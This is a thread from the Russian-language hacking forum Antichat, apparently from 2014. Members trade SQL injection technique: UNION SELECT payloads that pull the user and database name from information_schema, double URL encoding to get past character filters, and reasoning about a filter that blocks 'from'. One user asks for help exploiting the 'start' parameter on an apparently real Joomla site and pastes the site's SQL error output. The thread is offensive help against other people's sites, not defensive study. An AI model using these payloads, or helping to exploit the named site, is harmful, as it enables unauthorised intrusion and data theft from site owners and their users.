HOME    FORUMS    MEMBERS    RECENT POSTS    LOG IN  
Баннер 1   Баннер 2

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Вернуться   Форум АНТИЧАТ > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #23521  
Старый 29.05.2014, 21:17
recfrf
Новичок
Регистрация: 22.08.2008
Сообщений: 10
Провел на форуме:
149978

Репутация: 6
По умолчанию

Цитата:
Сообщение от qaz  
qaz said:
спс, а как из точки получить такое содержимое, что это за тип шифрования?
---------------------------------------------
никто не в курсе чтоза движок в котором префикс таблиц в БД начинается на pmd, pmd_admin, pmd_users и тд,?? уже насобиралась куча таких сайтов и никак не могу найти админку
у phpMyDirectory такие.

site.com/cp/
 
Ответить с цитированием

  #23522  
Старый 29.05.2014, 21:32
Inoms
Guest
Сообщений: n/a
Провел на форуме:
23349

Репутация: 45
По умолчанию

qaz, это обычный url енкодинг, то бишь хекс с префиксом процента.

Иногда бывает, что один параметр участвует в двух запросах, передается с одного хоста на другой, на котором может стоять обработчик всех параметров или на самом хосте они дважды декодируются по каким-либо причинам. Как параметр пройдёт первый хост, он декодируется в привычную форму и из %2527 как пример получится %27 и этот %27 уже на втором хосте в конечном итоге превратится в привычный всем нам апостроф '
 
Ответить с цитированием

  #23523  
Старый 29.05.2014, 21:58
kingbeef
Новичок
Регистрация: 08.04.2010
Сообщений: 1
Провел на форуме:
70640

Репутация: 0
По умолчанию

Цитата:
Сообщение от qaz  
qaz said:
спс, а как из точки получить такое содержимое, что это за тип шифрования?
я примерно догадываюсь что это может быть хекс, только вместо 0х поставили % но как получили второй вариант?
---------------------------------------------
никто не в курсе чтоза движок в котором префикс таблиц в БД начинается на pmd, pmd_admin, pmd_users и тд,?? уже насобиралась куча таких сайтов и никак не могу найти админку
http://web-master.pp.ru/info/05.shtml

Помогает когда фильтруются и другие символы.

%2e url кодирование.

%252e двойное url кодирование.
 
Ответить с цитированием

  #23524  
Старый 31.05.2014, 13:49
Aniweste
Новичок
Регистрация: 28.05.2010
Сообщений: 0
Провел на форуме:
5422

Репутация: 0
По умолчанию

Имеется уязвимость на site.com , вида site.com/x.php?id=-1' union+select+1,2,3,4,5,6,7,8,9,10-- '

Колонки на вывод - 1 и 6.

Вывести через них database(), user() не получается, т.к. в ответ получаю пустое место.

Зато можно вывести версию @@version , version() - 5.0.95-log

При других запросах на вывод таблиц и т.д. - либо пустое место, вместо результата (как с user() ), либо ошибку Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in

Есть ли какие-нибудь идеи, как узнать пользователя и текущую базу данных из приведённых мною выше данных?
 
Ответить с цитированием

  #23525  
Старый 31.05.2014, 15:49
XAMEHA
Новичок
Регистрация: 15.05.2010
Сообщений: 0
Провел на форуме:
2268

Репутация: 0
По умолчанию

Aniweste, фильтр? Попробуйте определить, на что. Или length(database()) = 0?

Код:
Code:
site.com/x.php?id=-1' union+select+USER,2,3,4,5,DB,7,8,9,10+from+information_schema.PROCESSLIST+WHERE+info+rlike+0x50524f43--+
В information_schema есть почти вся инфа, см. SHOW TABLES FROM information_schema и SELECT * FROM table LIMIT 5 на локалхосте.
 
Ответить с цитированием

  #23526  
Старый 31.05.2014, 16:39
Unknown
Guest
Сообщений: n/a
Провел на форуме:
21918

Репутация: 6
По умолчанию

Как раскрутить такое:

Код:
Code:
SELECT * FROM table WHERE ... ORDER by table.field LIMIT $limitstart, $limit
где $limitstart, $limit - не фильтруются.
 
Ответить с цитированием

  #23527  
Старый 31.05.2014, 16:47
XAMEHA
Новичок
Регистрация: 15.05.2010
Сообщений: 0
Провел на форуме:
2268

Репутация: 0
По умолчанию

Для инъекции в LIMIT после ORDER BY сейчас нет векторов атак (возможно и не будет).
 
Ответить с цитированием

  #23528  
Старый 31.05.2014, 17:38
Aniweste
Новичок
Регистрация: 28.05.2010
Сообщений: 0
Провел на форуме:
5422

Репутация: 0
По умолчанию

Цитата:
Сообщение от XAMEHA  
XAMEHA said:
Aniweste,
фильтр? Попробуйте определить, на что. Или length(database()) = 0?
Код:
Code:
site.com/x.php?id=-1' union+select+USER,2,3,4,5,DB,7,8,9,10+from+information_schema.PROCESSLIST+WHERE+info+rlike+0x50524f43--+
В information_schema есть почти вся инфа, см. SHOW TABLES FROM information_schema и SELECT * FROM table LIMIT 5 на локалхосте.
Всё равно ошибка Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in.

Нечаянно, пока дописывал, проверил

site.com/x.php?id=-1' union+select+1,2,3,4,5,6,7,8,9,10+fro-- - нет ошибки, site.com/x.php?id=-1' union+select+1,2,3,4,5,6,7,8,9,10+from-- - есть ошибка. Но думаю, что это бред
 
Ответить с цитированием

  #23529  
Старый 31.05.2014, 18:05
XAMEHA
Новичок
Регистрация: 15.05.2010
Сообщений: 0
Провел на форуме:
2268

Репутация: 0
По умолчанию

Aniweste, всё нормально.

fro воспринимается как псевдоним для колонки, запрос корректен.

В случае с from в запрос из-за фильтра поступает муть и вы видите ошибку.
 
Ответить с цитированием

  #23530  
Старый 02.06.2014, 02:24
[dword]
Участник форума
Регистрация: 11.04.2007
Сообщений: 103
Провел на форуме:
1006699

Репутация: 273
Отправить сообщение для [dword] с помощью ICQ
По умолчанию

Помогите разобраться, там Joomla.

http://k apper-sng.ru/insiderskaya-informaciya?start=4

пытаюсь раскрутить переменную start, но видимо мало еще понимаю механизм.

при запросе start=-4

Цитата:
Сообщение от None  
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '-4, 4' at line 13 SQL=SELECT a.id, a.title, a.alias, a.title_alias, a.introtext, a.checked_out, a.checked_out_time, a.catid, a.created, a.created_by, a.created_by_alias, CASE WHEN
пытаюсь подобрать столбцы, но не получается, не пропадает ошибка.

при start=99999 выдаётся пустая страница, без содержания. Вроде и есть инъекция (на сколько моих знаний хватает), но не могу понять, как использовать.

Покажите правильную дорогу пожалуйста. Благодарю заранее.
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Ваши ламерские приколы (Ну когда только комп появился) PEPSICOLA Болталка 188 23.05.2010 10:05
Ваши любимые компьютерные игры PEPSICOLA Болталка 280 19.08.2009 00:01
Ваши телеги... F-IFTY Болталка 13 18.08.2009 18:22
Вопросы по Ipb 2.0 Voodoo_People Уязвимости CMS / форумов 26 15.02.2005 22:57



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ